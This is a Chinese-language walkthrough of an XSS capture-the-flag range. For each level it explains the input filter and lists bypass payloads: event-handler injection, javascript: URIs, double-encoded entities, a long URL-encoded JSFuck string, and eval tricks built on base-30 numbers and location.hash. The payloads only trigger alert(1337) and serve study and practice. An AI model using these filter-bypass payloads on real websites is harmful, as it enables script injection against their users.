目录
靶场是验证我们学习情况和提升做题技巧很好的平台,这里将为大家介绍一个非常不错的xss靶场,不错不错题目名字属实......
按照题目要求,我们开始看题,因为提示在somebody中输入,所以见缝就插,使用script标签试试水,结果不可以,因为HTML 5 中指定不执行由 innerHTML 插入的 标签,所以这里我们可以使用html的一些事件来通过

-

-

📖Jefff
📔特点
这里定义了一个ma,执行语句为eval(`ma="ma name ${插入的语句}"`,如果你直接插入alert其实就相当于执行了ma的值而只会显示一个字符串,所以这里必须考虑先将eval(`ma=“${" jeff}"`)中分割,这样做就相当于闭合了前面的ma,让eval直接执行alert


📓方法
- ";alert(1337);//
- ";alert(1337);"
- "-alert(1337)-//
-
- "-alert(1337);"

📖Ugandan Knuckles
📔特点
这里过滤了大于小于号,相当于不让你闭合标签,我们可以想到利用编码是否可行,因为这里并没有限制编码,那么编码顺序该是怎样,就需要去考虑两点,因为你的插入点必须在url网址搜索框中去插入语句,这里识别url编码,而你的网页面则识别实体编码,所以我们的顺序应该为要想将语句插入网页面识别执行,那么你首先得在url搜索框中让它识别url编码,所以得先进行html编码再将它进行url编码,就相当于执行过程倒过来进行编码,但是这里忽略了双引号闭合的问题,我们对插入语句




📓方法
" onfocus=alert(1337) autofocus="

📖Ricardo Milos
📔特点
这里使用了表单的 action 属性是在服务器上提交表单,这个属性可以被检索或者设置,又因为没有过滤限制,所以直接插入JavaScript:alert(1337)通过

📓方法
ricardo=javascript:alert(1337)

📖Ah That's Hawt
📔特点
这里是直接过滤了括号反引号和转义符,先尝试插入语句,直接将括号过滤了,老办法编码



📓方法
1 onerror=alert%26%2340%3B1337%26%2341%3B>-
-
- <a href=javascript:alert%25281337%2529>aaa>#这里的url编码可以被识别是因为前面的href是一个超链接属性,它里面是可以识别url编码的,又因为url模块识别出了js协议所以执行了alert

📖Ligma
📔特点
这里是过滤了大小写和数字,意思就是你只能通过编码来解决了,否则什么东西都输入不进去,先试试之前的先实体编码再url编码,结果不可以,看了一下作者的答案,提到了JSFuck 一种基于 JavaScript 原子部分的深奥且具有教育意义的编程风格,它使用了六个不同的字符来编写和执行代码,尝试使用它,这里注意你需要将它再进行url编码,否则url搜索框会识别不了,就不会执行成功

📓方法
- #url编码对jsfuck
- %5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()

📖Mafia
📔特点
这里过滤了如下符号以及alert并且还使用slice函数截取长度50的字符这样就限制了你使用前面那种编码方法,所以这里使用老师讲过的30进制编码,会用到parseInt(string, radix) 解析一个字符串并返回指定基数的十进制整数,radix 是 2-36 之间的整数,表示被解析字符串的基数。但是注意在插入时虽然它是在eval中执行的但是还是没有执行成功,你需要再添加一个eval,去让外面的eval执行里面的eval(8680439..toString(30))(1),作者的答案中还有两种解法,其中第三种方法利用了window.location.hash这个属性,该接口的hash属性 Location返回一个字符串,该字符串包含一个 '#'后跟 URL 的片段标识符 - URL 试图定位的页面上的ID
parseInt - JavaScript | MDNparseInt(string, radix) 解析一个字符串并返回指定基数的十进制整数,radix 是 2-36 之间的整数,表示被解析字符串的基数。
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/parseInt


📓方法
- eval(8680439..toString(30))(1)
-
- eval(location.hash.slice(1))#alert(1337)#这里使用slice是因为location.hash需要获取hash值的设置方式就需要通过字符截取来知晓,一般hash值的设置方式有三种:1.number型可以带#也可以不带2.string型带#号的3.string型不带#
📖Ok, Boomer
📔特点
这里相较于之前的不同的是它使用了一个安全框架,那么它的作用是什么,它是针对 HTML、MathML 和 SVG 的仅支持DOM、快速、高容错的XSS过滤器;知道了作用那我们首先使用script标签测试一些,结果确实莫反应,这个框架具体内容需要你自行了解,每个版本都有相应的信息,想要通关就需要你知道一些特殊的知识(🧑i haven't figured it out yet🧑)


📓方法
-